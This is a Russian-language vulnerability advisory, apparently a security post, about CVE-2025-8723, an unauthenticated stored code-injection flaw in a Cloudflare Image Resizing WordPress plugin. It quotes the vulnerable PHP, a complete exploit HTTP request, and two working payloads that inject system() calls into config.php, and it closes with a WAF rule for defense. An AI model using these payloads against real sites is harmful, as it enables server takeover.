CVE-2025-8723 — уязвимость удаленного выполнения произвольного кода в плагине Cloudflare Image Resizing для WordPress, которая возникает из-за отсутствия аутентификации и недостаточной очистки в методе
hook_rest_pre_dispatch(). Уязвимы версии до 1.5.6. 😬 Метрики
Base Score: 9.8 CRITICAL
CWE: CWE-94
Настоятельно рекомендуем обновиться.
😬 Подробнее
Уязвимость позволяет менять кодовою базу конфигурационного файла config.php. Другими словами, эту уязвимость можно назвать хранимой RCE. В файле существует такой код, который получает данные из параметра
cf_image_resizing_format и вставляет их в $config_file.$format = @isset($request['cf_image_resizing_format']) ? $request['cf_image_resizing_format'] : null;
if (null !== $format)
{
$file_content = file_get_contents($config_file);
$file_content = preg_replace("/(define\(\'CF_IMAGE_RESIZING_FORMAT\'\,\s\')(.*)(\'\)\;)/", "$1$format$3", $file_content);
file_put_contents($config_file, $file_content);
}
$config_file — это
config.php.$config_file = WP_PLUGIN_DIR.'/cf-image-resizing/config.php'
Если отправим запрос такого вида,
POST /wp-json/wp/v2/settings/ HTTP/1.1
Host: 192.168.177.165
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/89.0
Accept: application/json, text/plain, */*
Content-Type: application/json
Content-Length: 52
{"cf_image_resizing_format":"'); system('id'); /*" }
то получим следующие изменения в конфигурационном файле:
// Recommended: 'auto'
define('CF_IMAGE_RESIZING_FORMAT', ''); system('id'); /*');
Важно отметить, что
cf_image_resizing_format — не единственный уязвимый параметр. Еще есть, например, cf_image_resizing_fit. Более подробно с ними можно ознакомиться, скачав плагин и открыв config.php.Введённый код напрямую добавляется в файлы плагина и позволяет атакующему выполнять внедрённые команды при каждом запросе к сайту без необходимости ввода
shell-команд. Например, если в кодовую базу плагина попадёт такая строка, файл Hi.html будет создаваться или перезаписываться при каждом посещении сайта. Любой посетитель триггерит выполнение команды.Уточнение: при посещении страницы все активные плагины автоматически загружаются, и будет выполнен любой код в их главных файлах или подключаемых конфигурациях.
{"cf_image_resizing_format":"'); system('echo \"<h1>Привет<h1>\" > Hi.html'); /*" }😬 Как защититься
На WAF можно написать правило, которое отслеживает передачу функций system, exec, shell_exec, eval в параметрах
cf_image_resizing_fit, cf_image_resizing_format на конечную точку /wp-json/wp/v2/settings/.